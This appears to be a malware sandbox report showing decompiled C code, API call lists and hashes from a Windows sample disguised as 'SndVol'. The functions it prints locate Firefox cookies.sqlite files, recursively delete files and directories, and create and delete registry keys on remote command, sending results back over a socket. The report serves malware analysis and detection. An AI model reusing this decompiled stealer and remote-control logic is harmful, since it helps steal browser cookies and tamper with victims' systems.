                                    Uniqueness Score: -1.00%

                                    Function 0040C29B Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0040C29B(void* __ebx, void* __ecx, void* __edx, void* __eflags) {
				char _v28;
				char _v52;
				char _v76;
				char _v100;
				char _v124;
				char _v148;
				struct _WIN32_FIND_DATAW _v740;
				void* __edi;
				void* __ebp;
				signed int _t37;
				signed int _t39;
				signed int _t41;
				void* _t42;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;

				_t61 = __ebx;
				_t95 = __ecx;
				E0040417E(__ebx,  &_v28, __edx, _t96, E0043C01F(__ebx, __ecx, __eflags, L"AppData"));
				L00409052(__ebx,  &_v28, _t93, _t96, L"\\Mozilla\\Firefox\\Profiles\\");
				_t91 =  &_v28;
				_t94 = FindFirstFileW(E00401F04(E0040915B( &_v100,  &_v28, _t96, "*")),  &_v740);
				E00401F09();
				if(_t94 != 0xffffffff) {
					E004020DF(_t61,  &_v76);
					while(1) {
						_t37 = FindNextFileW(_t94,  &_v740);
						__eflags = _t37;
						if(_t37 == 0) {
							break;
						}
						__eflags = _v740.dwFileAttributes & 0x00000010;
						if((_v740.dwFileAttributes & 0x00000010) == 0) {
							continue;
						} else {
							_t39 = E0043F8A4( &(_v740.cFileName),  &(_v740.cFileName), 0x466528);
							__eflags = _t39;
							if(_t39 == 0) {
								continue;
							} else {
								_t41 = E0043F8A4( &(_v740.cFileName),  &(_v740.cFileName), L"..");
								__eflags = _t41;
								if(_t41 == 0) {
									continue;
								} else {
									_t42 = E0040417E(_t61,  &_v148, _t91, _t96, L"\\cookies.sqlite");
									_t91 = E0040915B( &_v124,  &_v28, _t96,  &(_v740.cFileName));
									E00402FA5( &_v52, _t44, _t42);
									E00401F09();
									E00401F09();
									__eflags = PathFileExistsW(E00401F04( &_v52));
									if(__eflags != 0) {
										FindClose(_t94);
										E00403262(_t61, _t95, _t96, __eflags,  &_v52);
										E00401F09();
									} else {
										E00401F09();
										continue;
									}
								}
							}
						}
						L10:
						E00401FD8();
						goto L11;
					}
					FindClose(_t94);
					E0040417E(_t61, _t95, _t91, _t96, 0x466468);
					goto L10;
				} else {
					E0040417E(_t61, _t95,  &_v28, _t96, 0x466468);
				}
				L11:
				E00401F09();
				return _t95;
			}




















                                    0x0040c29b
                                    0x0040c2ab
                                    0x0040c2b7
                                    0x0040c2c4
                                    0x0040c2d5
                                    0x0040c2f2
                                    0x0040c2f4
                                    0x0040c2fc
                                    0x0040c312
                                    0x0040c3b4
                                    0x0040c3bc
                                    0x0040c3c2
                                    0x0040c3c4
                                    0x00000000
                                    0x00000000
                                    0x0040c31c
                                    0x0040c323
                                    0x00000000
                                    0x0040c329
                                    0x0040c335
                                    0x0040c33c
                                    0x0040c33e
                                    0x00000000
                                    0x0040c340
                                    0x0040c34c
                                    0x0040c353
                                    0x0040c355
                                    0x00000000
                                    0x0040c357
                                    0x0040c362
                                    0x0040c37b
                                    0x0040c380
                                    0x0040c389
                                    0x0040c394
                                    0x0040c3a8
                                    0x0040c3aa
                                    0x0040c3f6
                                    0x0040c402
                                    0x0040c40a
                                    0x0040c3ac
                                    0x0040c3af
                                    0x00000000
                                    0x0040c3af
                                    0x0040c3aa
                                    0x0040c355
                                    0x0040c33e
                                    0x0040c3dd
                                    0x0040c3e0
                                    0x00000000
                                    0x0040c3e0
                                    0x0040c3cb
                                    0x0040c3d8
                                    0x00000000
                                    0x0040c2fe
                                    0x0040c305
                                    0x0040c305
                                    0x0040c3e5
                                    0x0040c3e8
                                    0x0040c3f4

                                    APIs
                                    • FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 0040C2E9
                                    • FindNextFileW.KERNEL32(00000000,?), ref: 0040C3BC
                                    • FindClose.KERNEL32(00000000), ref: 0040C3CB
                                    • FindClose.KERNEL32(00000000), ref: 0040C3F6
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$CloseFile$FirstNext
                                    • String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                    • API String ID: 1164774033-405221262
                                    • Opcode ID: da8be16a109e9bc85d9a076cd9c87fa29bcffe236f9e0101fcd157b0945ebf05
                                    • Instruction ID: 8fe3531d45bcee7dd724fc95c7f55cf5f3aacb50d47aa37198b842d1cb72dac0
                                    • Opcode Fuzzy Hash: da8be16a109e9bc85d9a076cd9c87fa29bcffe236f9e0101fcd157b0945ebf05
                                    • Instruction Fuzzy Hash: F2315E3190021AAACB14F7A1DC9ADAE7778AF50718F10017FF506B20D2FF78994ACA5D
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041C1E3 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0041C1E3(WCHAR* __ecx, void* __edx) {
				short _v524;
				short _v1044;
				struct _WIN32_FIND_DATAW _v1636;
				int _t41;
				long _t42;
				int _t51;
				signed int _t60;
				void* _t70;
				WCHAR* _t71;
				void* _t72;

				_t70 = __edx;
				_t71 = __ecx;
				E0043F759( &_v1044, __ecx);
				E0043F77B( &_v1044, L"\\*");
				E0043F759( &_v524, _t71);
				E0043F77B( &_v524, "\\");
				_t72 = FindFirstFileW( &_v1044,  &_v1636);
				if(_t72 == 0xffffffff) {
					L16:
					__eflags = 0;
					return 0;
				}
				E0043F759( &_v1044,  &_v524);
				_t60 = 1;
				do {
					_t41 = FindNextFileW(_t72,  &_v1636);
					_t76 = _t41;
					if(_t41 == 0) {
						_t42 = GetLastError();
						__eflags = _t42 - 0x12;
						if(_t42 != 0x12) {
							L15:
							FindClose(_t72);
							goto L16;
						}
						_t60 = 0;
						__eflags = 0;
						goto L13;
					}
					if(E0041C1B5( &(_v1636.cFileName), _t76) != 0) {
						goto L13;
					}
					E0043F77B( &_v524,  &(_v1636.cFileName));
					if((_v1636.dwFileAttributes & 0x00000010) == 0) {
						__eflags = _v1636.dwFileAttributes & 0x00000001;
						if((_v1636.dwFileAttributes & 0x00000001) != 0) {
							SetFileAttributesW( &_v524, 0x80);
						}
						_t51 = DeleteFileW( &_v524);
						__eflags = _t51;
						if(_t51 == 0) {
							goto L15;
						} else {
							L10:
							E0043F759( &_v524,  &_v1044);
							goto L13;
						}
					}
					if(E0041C1E3( &_v524, _t70) == 0) {
						goto L15;
					}
					RemoveDirectoryW( &_v524);
					goto L10;
					L13:
				} while (_t60 != 0);
				FindClose(_t72);
				return RemoveDirectoryW(_t71);
			}













                                    0x0041c1e3
                                    0x0041c1f5
                                    0x0041c1f9
                                    0x0041c20a
                                    0x0041c217
                                    0x0041c228
                                    0x0041c244
                                    0x0041c249
                                    0x0041c33a
                                    0x0041c33a
                                    0x00000000
                                    0x0041c33a
                                    0x0041c25d
                                    0x0041c264
                                    0x0041c266
                                    0x0041c26e
                                    0x0041c274
                                    0x0041c276
                                    0x0041c30e
                                    0x0041c314
                                    0x0041c317
                                    0x0041c333
                                    0x0041c334
                                    0x00000000
                                    0x0041c334
                                    0x0041c319
                                    0x0041c319
                                    0x00000000
                                    0x0041c319
                                    0x0041c289
                                    0x00000000
                                    0x00000000
                                    0x0041c29d
                                    0x0041c2ab
                                    0x0041c2cb
                                    0x0041c2d2
                                    0x0041c2e0
                                    0x0041c2e0
                                    0x0041c2ed
                                    0x0041c2f3
                                    0x0041c2f5
                                    0x00000000
                                    0x0041c2f7
                                    0x0041c2f7
                                    0x0041c305
                                    0x00000000
                                    0x0041c30b
                                    0x0041c2f5
                                    0x0041c2ba
                                    0x00000000
                                    0x00000000
                                    0x0041c2c3
                                    0x00000000
                                    0x0041c31b
                                    0x0041c31b
                                    0x0041c324
                                    0x00000000

                                    APIs
                                    • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C23E
                                    • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C26E
                                    • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2E0
                                    • DeleteFileW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2ED
                                      • Part of subcall function 0041C1E3: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2C3
                                    • GetLastError.KERNEL32(?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C30E
                                    • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C324
                                    • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C32B
                                    • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C334
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                                    • String ID:
                                    • API String ID: 2341273852-0
                                    • Opcode ID: 2f5c9f1aa993630ce34d3c363784e8afbd4167276db05d22358e6546e85cc701
                                    • Instruction ID: 376be21f6140219419783dcf2abf8d04cb242fe5c88bb650cc6fce5c1744b8d3
                                    • Opcode Fuzzy Hash: 2f5c9f1aa993630ce34d3c363784e8afbd4167276db05d22358e6546e85cc701
                                    • Instruction Fuzzy Hash: 2E31647284421CAADB20DBA1DC89EDB737CAF04305F4405FBF559D2152EF799AC88E58
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00419A47 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 90%
                                    			E00419A47(char* __edx, void* __eflags, char _a8) {
				struct _WIN32_FIND_DATAW _v1028;
				char _v1036;
				char _v1064;
				char _v1088;
				void* _v1092;
				char _v1100;
				char _v1116;
				void* _v1120;
				char _v1128;
				char _v1136;
				char _v1152;
				char _v1156;
				char _v1160;
				void* _v1164;
				char _v1172;
				char _v1176;
				void* _v1188;
				char _v1196;
				void* _v1200;
				void* _v1204;
				char _v1208;
				char _v1220;
				char _v1224;
				char _v1228;
				char _v1232;
				char _v1236;
				char _v1240;
				char _v1252;
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr* _t63;
				int _t85;
				int _t91;
				void* _t102;
				void* _t109;
				char* _t113;
				void* _t115;
				void* _t116;
				void* _t130;
				void* _t133;
				void* _t228;
				void* _t229;
				void* _t234;
				signed int _t235;
				void* _t238;
				void* _t239;
				void* _t240;
				void* _t243;

				_t243 = __eflags;
				_t213 = __edx;
				_push(_t139);
				_t63 = E00401FAB( &_a8);
				E004041A2( &_a8,  &_v1100, 4, 0xffffffff);
				_t238 = (_t235 & 0xfffffff8) - 0x4b4;
				E004020F6(_t139, _t238, __edx, _t243, 0x474ee0);
				_t239 = _t238 - 0x18;
				E004020F6(_t139, _t239, __edx, _t243,  &_v1116);
				E0041BD6D( &_v1252, _t213);
				_t240 = _t239 + 0x30;
				_t228 =  *_t63 - 0x19;
				if(_t228 == 0) {
					E004020DF(_t139,  &_v1220);
					_t213 = 0x4756c8;
					E0040915B( &_v1172, 0x4756c8, _t234, L"\\*");
					_t229 = FindFirstFileW(E00401F04( &_v1172),  &_v1028);
					__eflags = _t229 - 0xffffffff;
					if(__eflags == 0) {
						L14:
						E004020F6(_t139, _t240 - 0x18, _t213, __eflags,  &_v1220);
						_push(0x5d);
						E00404AA1(0x475850, _t213, __eflags);
						E00401F09();
						E00401FD8();
						goto L15;
					}
					E0040417E(_t139,  &_v1196, 0x4756c8, _t234,  &(_v1028.cFileName));
					_t213 = 0x466528;
					_t85 = E004077B7(__eflags);
					_t139 = _t85;
					E00401F09();
					__eflags = _t85;
					if(__eflags != 0) {
						E00401FE2( &_v1228, 0x466528, _t229, E004020B7(_t139,  &_v1196, 0x466528, _t234, __eflags,  &_v1028, 0x250));
						E00401FD8();
					}
					while(1) {
						__eflags = FindNextFileW(_t229,  &_v1028);
						if(__eflags == 0) {
							goto L14;
						}
						E0040417E(_t139,  &_v1196, _t213, _t234,  &(_v1028.cFileName));
						_t213 = L"..";
						_t91 = E004077B7(__eflags);
						_t139 = _t91;
						E00401F09();
						__eflags = _t91;
						if(__eflags != 0) {
							L00403376(E004020B7(_t139,  &_v1196, L"..", _t234, __eflags,  &_v1028, 0x250));
							E00401FD8();
						}
					}
					goto L14;
				} else {
					_t245 = _t228 == 1;
					if(_t228 == 1) {
						_t102 = E0041BBB0( &_v1152, E00401E65( &_v1232, _t213, _t234, _t245, 1));
						E00402FA5( &_v1176, E0040915B( &_v1128, 0x4756c8, _t234, "\\"), _t102);
						E00401F09();
						E00401F09();
						E004020DF(_t139,  &_v1224);
						E00401F04( &_v1176);
						_t213 =  &_v1224;
						_t109 = E0041C3D7( &_v1224);
						_t246 = _t109;
						if(_t109 != 0) {
							_t113 = E00401FAB(E00401E65(0x4750e4,  &_v1224, _t234, _t246, 0x1b));
							_t247 =  *_t113 - 1;
							if( *_t113 == 1) {
								_t130 = E0040247C();
								E00406CB7( &_v1028, E00401FAB(0x475338), _t130);
								_t133 = E0040247C();
								E00401FE2( &_v1240, _t213, 0x475338, E00406DD8(_t139,  &_v1036, _t213,  &_v1156, E00401FAB( &_v1228), _t133));
								E00401FD8();
							}
							_t115 = E00401E65( &_v1232, _t213, _t234, _t247, 2);
							_t116 = E00401E65( &_v1236, _t213, _t234, _t247, 0);
							_t213 = E00402F10(_t139,  &_v1160, E00402F10(_t139,  &_v1136, E00402F10(_t139,  &_v1088, E00402F10(_t139,  &_v1064, E00402F31( &_v1208, E00401E65( &_v1240, _t213, _t234, _t247, 1), _t234, 0x474ee0), _t234, _t247, _t116), _t234, _t247, 0x474ee0), _t234, _t247, _t115), _t234, _t247, 0x474ee0);
							E00402F10(_t139, _t240 - 0x18, _t122, _t234, _t247,  &_v1220);
							_push(0x5e);
							E00404AA1(0x475850, _t122, _t247);
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
						}
						E00401FD8();
						E00401F09();
					}
					L15:
					E00401E8D( &_v1252, _t213);
					E00401FD8();
					return E00401FD8();
				}
			}




















































                                    0x00419a47
                                    0x00419a47
                                    0x00419a56
                                    0x00419a59
                                    0x00419a6f
                                    0x00419a74
                                    0x00419a7f
                                    0x00419a84
                                    0x00419a91
                                    0x00419a9a
                                    0x00419a9f
                                    0x00419aa2
                                    0x00419aa5
                                    0x00419c72
                                    0x00419c7c
                                    0x00419c85
                                    0x00419ca3
                                    0x00419ca5
                                    0x00419ca8
                                    0x00419d6f
                                    0x00419d79
                                    0x00419d7e
                                    0x00419d85
                                    0x00419d8e
                                    0x00419d97
                                    0x00000000
                                    0x00419d97
                                    0x00419cba
                                    0x00419cbf
                                    0x00419cc6
                                    0x00419ccf
                                    0x00419cd1
                                    0x00419cd6
                                    0x00419cd8
                                    0x00419cf5
                                    0x00419cfe
                                    0x00419cfe
                                    0x00419d60
                                    0x00419d6b
                                    0x00419d6d
                                    0x00000000
                                    0x00000000
                                    0x00419d17
                                    0x00419d1c
                                    0x00419d23
                                    0x00419d2c
                                    0x00419d2e
                                    0x00419d33
                                    0x00419d35
                                    0x00419d52
                                    0x00419d5b
                                    0x00419d5b
                                    0x00419d35
                                    0x00000000
                                    0x00419aab
                                    0x00419aab
                                    0x00419aae
                                    0x00419ac5
                                    0x00419ae8
                                    0x00419af2
                                    0x00419afb
                                    0x00419b04
                                    0x00419b0d
                                    0x00419b12
                                    0x00419b18
                                    0x00419b1d
                                    0x00419b1f
                                    0x00419b33
                                    0x00419b38
                                    0x00419b3b
                                    0x00419b44
                                    0x00419b59
                                    0x00419b62
                                    0x00419b88
                                    0x00419b91
                                    0x00419b91
                                    0x00419ba7
                                    0x00419bb4
                                    0x00419c0e
                                    0x00419c12
                                    0x00419c18
                                    0x00419c1f
                                    0x00419c28
                                    0x00419c31
                                    0x00419c3d
                                    0x00419c49
                                    0x00419c52
                                    0x00419c52
                                    0x00419c5b
                                    0x00419c64
                                    0x00419c64
                                    0x00419d9c
                                    0x00419da0
                                    0x00419dac
                                    0x00419dbf
                                    0x00419dbf

                                    APIs
                                    • FindFirstFileW.KERNEL32(00000000,?), ref: 00419C9D
                                    • FindNextFileW.KERNEL32(00000000,?,?), ref: 00419D69
                                      • Part of subcall function 0041C3D7: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,0040A791), ref: 0041C3F0
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$Find$CreateFirstNext
                                    • String ID: 8SG$PXG$PXG$NG$PG
                                    • API String ID: 341183262-3812160132
                                    • Opcode ID: 69c2dd2953c34fbdf1719425313114e2ca2cd11e48375d1ed146c004084b2f1a
                                    • Instruction ID: c6ad3c795c273325c7d60f0dfb8e0c8c194d87bd0d251dd7e819be60e5018184
                                    • Opcode Fuzzy Hash: 69c2dd2953c34fbdf1719425313114e2ca2cd11e48375d1ed146c004084b2f1a
                                    • Instruction Fuzzy Hash: 978184315082415BC314FB22DC56EEF73A9AF90344F80493FF546671E2EF789A49C69A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00413F18 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 382registrylibraryloaderCOMMONCrypto
                                    Download Yara Rule
                                    C-Code - Quality: 85%
                                    			E00413F18(void* __edx, void* __eflags, char _a8) {
				char _v36;
				char _v48;
				char _v52;
				void* _v60;
				char _v68;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				struct _SECURITY_ATTRIBUTES _v100;
				char _v104;
				void* _v108;
				char _v120;
				char _v128;
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr* _t63;
				void* _t74;
				void* _t85;
				void* _t87;
				void* _t88;
				void* _t90;
				void* _t91;
				void* _t99;
				void* _t106;
				void* _t107;
				void* _t109;
				void* _t113;
				void* _t118;
				void* _t124;
				void* _t128;
				void* _t131;
				void* _t132;
				void* _t134;
				void* _t136;
				void* _t137;
				void* _t138;
				void* _t143;
				void* _t144;
				long _t147;
				void* _t154;
				void* _t166;
				void* _t168;
				void* _t179;
				void* _t195;
				void* _t209;
				signed int _t262;
				void* _t266;
				void* _t271;
				void* _t273;
				void* _t275;
				signed int _t276;
				void* _t278;
				void* _t283;
				signed int _t284;
				void* _t287;
				void* _t288;
				void* _t289;
				void* _t292;
				void* _t297;
				void* _t298;
				void* _t300;
				void* _t301;
				void* _t303;
				void* _t305;
				void* _t310;

				_t310 = __eflags;
				_t260 = __edx;
				_push(_t166);
				_t63 = E00401FAB( &_a8);
				E004041A2( &_a8,  &_v52, 4, 0xffffffff);
				_t287 = (_t284 & 0xfffffff8) - 0x44;
				E004020F6(_t166, _t287, __edx, _t310, 0x474ee0);
				_t288 = _t287 - 0x18;
				E004020F6(_t166, _t288, __edx, _t310,  &_v68);
				E0041BD6D( &_v108, __edx);
				_t289 = _t288 + 0x30;
				_t271 =  *_t63 - 0x35;
				if(_t271 == 0) {
					E00401F86(_t166,  &_v76);
					__eflags = E004021FA( &_v88) - 1;
					if(__eflags > 0) {
						L00409057(_t166,  &_v80, _t260, E00401FAB(E00401E65( &_v88, _t260, _t283, __eflags, 1)));
					}
					E004020F6(_t166, _t289 - 0x18, _t260, __eflags, E00401E65( &_v88, _t260, _t283, __eflags, 0));
					_t74 = E00401F04( &_v84);
					_t260 = 1;
					_t179 = _t74;
					L28:
					E00413C5B(_t179, _t260, _t317);
					L29:
					E00401F09();
					L30:
					E00401E8D( &_v88, _t260);
					E00401FD8();
					E00401FD8();
					return 0;
				}
				_t273 = _t271 - 1;
				if(_t273 == 0) {
					_t85 = E00401FAB(E00401E65( &_v88, __edx, _t283, __eflags, 2));
					_t87 = E00401FAB(E00401E65( &_v92, __edx, _t283, __eflags, 1));
					_t266 = 0;
					_t88 = E00401E65( &_v96, __edx, _t283, __eflags, 0);
					_t292 = _t289 - 0x18;
					E004020F6(_t166, _t292, _t260, __eflags, _t88);
					_t90 = E00413BCA(_t166, __eflags, _t85);
					_t260 = _t87;
					_t91 = E00413971(_t90, _t87);
					_t294 = _t292 + 0x18 - 0x18;
					_t195 = _t292 + 0x18 - 0x18;
					__eflags = _t91;
					if(__eflags == 0) {
						_push("2");
						L24:
						E00402093(_t166, _t195, _t260, _t283);
						E00404AA1(0x4754f8, _t260, __eflags);
						goto L30;
					}
					_push("1");
					L13:
					E00402093(_t166, _t195, _t260, _t283);
					E00404AA1(0x4754f8, _t260, __eflags);
					E004020F6(_t166, _t294 - 0x18, _t260, __eflags, E00401E65( &_v120, _t260, _t283, __eflags, _t266));
					_t99 = E00401FAB(E00401E65( &_v128, _t260, _t283, __eflags, 1));
					_t260 = 0;
					E00413C5B(_t99, 0, __eflags);
					goto L30;
				}
				_t275 = _t273 - 1;
				if(_t275 == 0) {
					E0040417E(_t166,  &_v80, __edx, _t283, E00401FAB(E00401E65( &_v88, __edx, _t283, __eflags, 1)));
					 *0x472d80 = GetProcAddress(LoadLibraryA("Shlwapi.dll"), "SHDeleteKeyW");
					_t106 = E00401F04( &_v84);
					_t107 = E00401E65( &_v96, _t260, _t283, __eflags, 0);
					_t297 = _t289 - 0x18;
					E004020F6(_t166, _t297, _t260, __eflags, _t107);
					_t109 = E00413BCA(_t166, __eflags, _t106);
					_t298 = _t297 + 0x18;
					__eflags =  *0x472d80(_t109);
					if(__eflags != 0) {
						_t209 = _t298 - 0x18;
						_push("9");
					} else {
						_t113 = E0040247C();
						_t276 = 2;
						_t166 = E00414418( &_v84, "\\", _t113 - _t276);
						__eflags = _t166 - 0xffffffff;
						if(__eflags != 0) {
							_t39 = _t166 + 1; // 0x1
							_t118 = E004346EA( ~0x00BADBAD | _t39 * _t276, _t39 * _t276 >> 0x20, _t276, __eflags);
							E0043F759(_t118, E00401F04(E0040900E( &_v84,  &_v36, 0, _t166)));
							E00401F09();
							_t124 = E00401E65( &_v108, _t39 * _t276 >> 0x20, _t283, __eflags, 0);
							_t300 = _t298 - 0x18;
							E004020F6(_t166, _t300, _t39 * _t276 >> 0x20, __eflags, _t124);
							_t260 = 0;
							__eflags = 0;
							E00413C5B(_t118, 0, 0,  ~0x00BADBAD | _t39 * _t276);
							E004346F3(_t118);
							_t301 = _t300 + 0x1c;
						} else {
							_t128 = E00401E65( &_v96, _t260, _t283, __eflags, 0);
							_t303 = _t298 - 0x18;
							E004020F6(_t166, _t303, _t260, __eflags, _t128);
							_t260 = 0;
							E00413C5B(0, 0, __eflags);
							_t301 = _t303 + 0x18;
						}
						_t209 = _t301 - 0x18;
						_push("8");
					}
					L10:
					E00402093(_t166, _t209, _t260, _t283);
					E00404AA1(0x4754f8, _t260, __eflags);
					goto L29;
				}
				_t278 = _t275 - 1;
				if(_t278 == 0) {
					_t131 = E00401E65( &_v88, __edx, _t283, __eflags, 4);
					_t132 = E00401E65( &_v92, __edx, _t283, __eflags, 3);
					_t134 = E00401FAB(E00401E65( &_v96, __edx, _t283, __eflags, 2));
					_t136 = E00401FAB(E00401E65( &_v100, _t260, _t283, __eflags, 1));
					_t266 = 0;
					_t137 = E00401E65( &_v104, _t260, _t283, __eflags, 0);
					_t260 = _t136;
					_t138 = E00413E40(_t166, _t137, _t136, _t134, _t132, _t131);
					_t294 = _t289 + 0xc - 0x18;
					_t195 = _t289 + 0xc - 0x18;
					__eflags = _t138;
					if(__eflags == 0) {
						_push("5");
						goto L24;
					}
					_push("4");
					goto L13;
				}
				_t315 = _t278 != 1;
				if(_t278 != 1) {
					goto L30;
				}
				E0040417E(_t166,  &_v80, __edx, _t283, E00401FAB(E00401E65( &_v88, __edx, _t283, _t315, 1)));
				_t143 = E00401F04( &_v84);
				_t144 = E00401E65( &_v96, __edx, _t283, _t315, 0);
				_t305 = _t289 - 0x18;
				E004020F6(_t166, _t305, _t260, _t315, _t144);
				_t147 = RegCreateKeyExW(E00413BCA(_t166, _t315, _t143), 0, 0, 0, 0x20006, 0,  &_v100, 0, ??);
				_t281 = _t147;
				RegCloseKey(_v108);
				_t307 = _t305 + 0x18 - 0x18;
				_t209 = _t305 + 0x18 - 0x18;
				_t316 = _t147;
				if(_t147 != 0) {
					_push("7");
					goto L10;
				}
				E00402093(_t166, _t209, _t260, _t283, "6");
				_push(0x72);
				E00404AA1(0x4754f8, _t260, _t316);
				_t168 = E00409028( &_v108, 0x4754f8, 0x4754f8);
				_t317 = _t168 - 0xffffffff;
				if(_t168 != 0xffffffff) {
					_t14 = _t168 + 1; // 0x1
					_t262 = 2;
					_t154 = E004346EA( ~(__eflags > 0) | _t14 * _t262, _t14 * _t262 >> 0x20, _t281, __eflags);
					E0043F759(_t154, E00401F04(E0040900E( &_v96,  &_v48, 0, _t168)));
					E00401F09();
					E004020F6(_t168, _t307 - 0x18, _t14 * _t262 >> 0x20, __eflags, E00401E65( &_v120, _t14 * _t262 >> 0x20, _t283, __eflags, 0));
					_t260 = 0;
					E00413C5B(_t154, 0, __eflags,  ~(__eflags > 0) | _t14 * _t262);
					E004346F3(_t154);
					goto L29;
				}
				E004020F6(_t168, _t307 - 0x18, _t260, _t317, E00401E65( &_v108, _t260, _t283, _t317, 0));
				_t260 = 0;
				_t179 = 0;
				goto L28;
			}








































































                                    0x00413f18
                                    0x00413f18
                                    0x00413f24
                                    0x00413f27
                                    0x00413f3a
                                    0x00413f3f
                                    0x00413f49
                                    0x00413f4e
                                    0x00413f58
                                    0x00413f61
                                    0x00413f66
                                    0x00413f69
                                    0x00413f6c
                                    0x0041434d
                                    0x0041435b
                                    0x0041435e
                                    0x00414377
                                    0x00414377
                                    0x0041438d
                                    0x00414396
                                    0x0041439b
                                    0x0041439d
                                    0x0041439f
                                    0x0041439f
                                    0x004143a7
                                    0x004143ab
                                    0x004143b0
                                    0x004143b4
                                    0x004143bd
                                    0x004143c5
                                    0x004143d2
                                    0x004143d2
                                    0x00413f72
                                    0x00413f75
                                    0x004142db
                                    0x004142ee
                                    0x004142f3
                                    0x004142fc
                                    0x00414301
                                    0x00414307
                                    0x0041430c
                                    0x00414314
                                    0x00414318
                                    0x0041431e
                                    0x00414321
                                    0x00414323
                                    0x00414325
                                    0x00414331
                                    0x00414336
                                    0x00414336
                                    0x00414342
                                    0x00000000
                                    0x00414342
                                    0x00414327
                                    0x0041413f
                                    0x0041413f
                                    0x0041414b
                                    0x00414160
                                    0x00414172
                                    0x00414177
                                    0x0041417b
                                    0x00000000
                                    0x00414180
                                    0x00413f7b
                                    0x00413f7e
                                    0x004141a9
                                    0x004141c9
                                    0x004141ce
                                    0x004141db
                                    0x004141e0
                                    0x004141e6
                                    0x004141eb
                                    0x004141f0
                                    0x004141fa
                                    0x004141fc
                                    0x004142c2
                                    0x004142c4
                                    0x00414202
                                    0x00414206
                                    0x0041420d
                                    0x0041421f
                                    0x00414221
                                    0x00414224
                                    0x0041424b
                                    0x00414258
                                    0x00414279
                                    0x00414284
                                    0x0041428e
                                    0x00414293
                                    0x00414299
                                    0x0041429e
                                    0x0041429e
                                    0x004142a2
                                    0x004142a8
                                    0x004142ad
                                    0x00414226
                                    0x0041422b
                                    0x00414230
                                    0x00414236
                                    0x0041423b
                                    0x0041423f
                                    0x00414244
                                    0x00414244
                                    0x004142b3
                                    0x004142b5
                                    0x004142b5
                                    0x004140c4
                                    0x004140c4
                                    0x004140d0
                                    0x00000000
                                    0x004140d0
                                    0x00413f84
                                    0x00413f87
                                    0x004140e0
                                    0x004140ec
                                    0x004140ff
                                    0x00414112
                                    0x00414117
                                    0x00414120
                                    0x00414125
                                    0x00414129
                                    0x00414131
                                    0x00414134
                                    0x00414136
                                    0x00414138
                                    0x00414188
                                    0x00000000
                                    0x00414188
                                    0x0041413a
                                    0x00000000
                                    0x0041413a
                                    0x00413f8d
                                    0x00413f90
                                    0x00000000
                                    0x00000000
                                    0x00413fad
                                    0x00413fc7
                                    0x00413fd2
                                    0x00413fd7
                                    0x00413fdd
                                    0x00413feb
                                    0x00413ff5
                                    0x00413ff7
                                    0x00413ffd
                                    0x00414000
                                    0x00414002
                                    0x00414004
                                    0x004140bf
                                    0x00000000
                                    0x004140bf
                                    0x0041400f
                                    0x00414014
                                    0x0041401b
                                    0x0041402b
                                    0x0041402d
                                    0x00414030
                                    0x00414052
                                    0x00414057
                                    0x00414062
                                    0x00414083
                                    0x0041408e
                                    0x004140a3
                                    0x004140a8
                                    0x004140ac
                                    0x004140b2
                                    0x00000000
                                    0x004140b7
                                    0x00414042
                                    0x00414047
                                    0x00414049
                                    0x00000000

                                    APIs
                                    • RegCreateKeyExW.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 00413FEB
                                    • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 00413FF7
                                      • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
